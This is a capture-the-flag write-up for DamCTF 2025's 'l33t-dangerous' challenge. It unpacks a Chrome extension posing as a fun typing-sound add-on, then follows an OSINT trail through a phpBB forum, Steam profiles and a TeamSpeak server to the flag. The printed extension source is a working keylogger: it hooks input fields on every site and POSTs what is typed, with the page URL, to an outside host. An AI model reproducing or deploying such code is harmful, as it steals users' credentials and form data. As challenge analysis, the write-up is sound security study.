l33t-dangerous

by sealldev
๐Ÿšฉ CTFs DamCTF 2025 osint
l33t-dangerous / DamCTF 2025
l33t-dangerous

Description

I was digging through my dadโ€™s old CDs and found this. He used to work IT for the school district. Apparently, a middle schooler installed it on a teacherโ€™s PC and somehow got into the grading system with it. No idea how it worked, but maybe you can figure it out.

What are we working with?

This challenge we start with a boom.crx. With some research the .crx file extension corresponds for a Chrome Extension. There are CRX Extractors online, uploading the file we get a boom.zip containing the source code.

Foothold

Inside is a content-script.js and a manifest.json.

{
  "manifest_version": 3,
  "name": "Vine Boom Keyboard",
  "version": "1.3.3.7",
  "description": "Add some fun to your typing experience!",
  "content_scripts": [
    {
      "js": [
        "content-script.js"
      ],
      "matches": [
        "http://*/*", "https://*/*"
      ],
      "run_at": "document_start"
    }
  ]
}
let boom = new Audio("data:audio/wav;base64,<B64 CONTENT>");

window.fetch = async (...args) => {
    // this stupid extension is useless why wont it work anymore?????
    // TODO: find out who invented CORS

    // whatever let's just simulate it for now
    await new Promise(resolve => setTimeout(resolve, 2000));
    return {
        ok: false,
        status: 418,
        statusText: "I'm a teapot",
        json: async () => ({ success: true }),
        text: async () => "it worked great",
    };
};

const targetNode = document.documentElement

const config = {attributes: true, childList: true, subtree: true};

const callback = (mutationList, observer) => {
    for (const mutation of mutationList) {
        if (mutation.type === "childList" && mutation.addedNodes.length > 0) {
            mutation.addedNodes.forEach(node => {
                if (node.nodeName === "INPUT") {
                    node.addEventListener("input", (e) => {
                        boom.currentTime = 0;
                        boom.play();

                        fetch("https://mwaas.el1t3.fun/payload", {
                            method: "POST",
                            headers: {
                                "Content-Type": "application/json",
                            },
                            body: JSON.stringify({
                                value: e.target.value,
                                url: window.location.href,
                                ele: e.target.name,
                                user: "NAVI"
                            }),
                        });
                    });
                }
            });
        }
    }
};

// Create an observer instance linked to the callback function
const observer = new MutationObserver(callback);

// Start observing the target node for configured mutations
observer.observe(targetNode, config);

The initially interesting part is the URL mwaas.el1t3.fun which seems to be used to exfiltrate data (before CORS).

Visiting the domain has a sample page with a login: mwaas.png

Selecting โ€˜Loginโ€™ redirects to a SimpleSAMLphp login page: ssp.png

If I replicate a sample request to the /payload endpoint we get the following response: Upload functionality has been disabled after the disappearance of CacheTheStamp3de

This login page is under the 2nd level domain el1t3.fun: https://el1t3.fun/simplesaml/module.php/core/loginuserpass?...

Visiting the domain with no path is a phpBB forum (ah the early 2000s UI): forumpage.png

Characters

Exploring the threads we can see there are a few users:

  • NAVI (which we can see is the user in the Chrome extension)
  • CacheTheStamp3de (presumably disappeared)
  • [myg0t] konata (Outside of the CTF context, myg0t is seemingly a group that would join servers and blatantly cheat)
  • LOIC
  • pootis

From reading the threads they all seem to be cheaters in Counter-Strike 1.6 and play gun-game.

Threads

There are a few interesting things from these threads:

CacheTheStamp3de seems to be setting up a CS server, in that is a webserver: configcs.png

Visiting the URL we have directory listing! csstrike.png

The maps/ folder is pretty uninteresting (just maps) but the parent folder has an interesting image sfz_motd.jpg: sfz_motd.png

There is an IP address for a TeamSpeak server! But we donโ€™t know the password, good to keep in mind though.

There is another thread from NAVI showing proof they donโ€™t cheat (which is absolute cinema): navicheating.png

The video isnโ€™t attached but is a very entertaining video of poor CS gameplay and the best of the best Linkin Park in WINAMP, bundled with Notepad typing for speech and HyperCam 2. Lol.

The interesting part is when the Console is opened, and we can see some Steam IDs: steamidsnavi.png

Steam

The two IDs link to Steam profiles for NAVI and pootis and can be converted to profile URLs with https://steamid.io:

NAVIโ€™s profile has a comment from CacheTheStamp3de but their profile is private.

pootis is friends with [myg0t] konata (https://steamcommunity.com/profiles/76561199834257966): konatasteam.png

They are in a group which seems to line up with the acronym seen on the TeamSpeak server and in NAVIโ€™s โ€˜iโ€™m not hackingโ€™ video: Skid Force Zero.

They are also friends with LOIC, but their profile is private.

The group has comments from the members on the forum! But we can find something particularly interesting from CacheTheStamp3de: tspass.png

We can now connect to the TeamSpeak server!

TeamSpeak

Inside the server we have no permissions, but we can see a description for the โ€˜Gungame 24/7โ€™ channel!

tsdesc.png

Now here I got quite stuck, I couldnโ€™t figure out what to do. I looked at registering on the forum and spotted this: regophrase.png

That phrase we need is from TeamSpeak! We can now register an account!

Forum Access

I register an account sealldev and we can now see a new โ€˜Hackingโ€™ board!

hackingboard.png

The โ€˜steal creds from noobsโ€™ thread has the flag!

flag1.png

Flag: dam{we_wer3_the_skids_all_al0ng}

Further Reading & Memes

I incline you to read the part 2 to this challenge l33t-benign as it ties directly into this and is a great web challenge.

After the CTF there were some shenanigans on the TeamSpeak serverโ€ฆ

Bad Apple was made using usernames, and itโ€™s beautifulโ€ฆ

Share this writeup

Contribute

Found an issue or want to improve this writeup?

Edit on GitHub